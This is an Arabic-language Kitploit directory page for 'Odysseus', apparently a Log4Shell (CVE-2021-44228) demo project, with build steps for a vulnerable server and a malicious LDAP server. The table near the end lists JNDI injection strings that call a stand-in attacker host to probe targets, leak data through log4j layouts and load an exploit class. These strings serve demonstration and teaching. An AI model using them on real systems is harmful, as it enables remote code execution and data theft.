Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/roshanshibu/odysseus
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالقيادة والسيطرةالتعلم والتعليمتطوير الحمولات
GitHubroshanshibu/odysseus

Odysseus

عرض توضيحي لثغرة Log4Shell (CVE-2021-44228).

عرض المستودع
منذ 2 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Odysseus

عرض توضيحي لثغرة Log4Shell (CVE-2021-44228).

تعليمات البناء

تم بناء خادم الويب الضعيف وخادم LDAP الخبيث واختبارهما على JDK 1.8.0_181.

خادم الويب للأخيار (Good Guys)

  1. داخل مجلد goodguys، قم بتشغيل gradlew bootJar
  2. قم بتشغيل خادم الويب الضعيف باستخدام java -jar build/libs/goodguys-0.0.1-SNAPSHOT.jar

خادم LDAP/الويب للأشرار (Bad Guys)

  1. داخل مجلد badguys، قم بتشغيل mvn package
  2. قم بتشغيل الخادم الخبيث باستخدام java -jar .\target\evil-server.jar

ملاحظة: قد يقوم Windows Defender بنقل target\classes\Exploit.class إلى الحجر الصحي بهدوء.

الحمولة الخبيثة

يتم تعريف الأوامر الخبيثة داخل Exploit.java.

محفز الحقن

الإدخالالملاحظات
${jndi:ldap://evil-server-hostname:389/Recon}يتحقق مما إذا كان الهدف ضعيفًا من خلال الاستماع إلى طلب اتصال إلى خادم LDAP.
${jndi:ldap://evil-server-hostname:389/Recon [log4j Pattern Layout(s)]أضف أي تنسيقات قوالب log4j صالحة لجمع البيانات من الهدف وعرضها في محطة المهاجم.
${jndi:ldap://evil-server-hostname:389/Exploit}

المراجع

https://securityboulevard.com/2019/01/exploiting-jndi-injections-in-java/ https://logging.apache.org/log4j/1.2/apidocs/org/apache/log4j/PatternLayout.html
https://www.ibm.com/blog/how-to-detect-patch-log4j-vulnerability/

تنزيل الأداة
تشغيل الحمولة.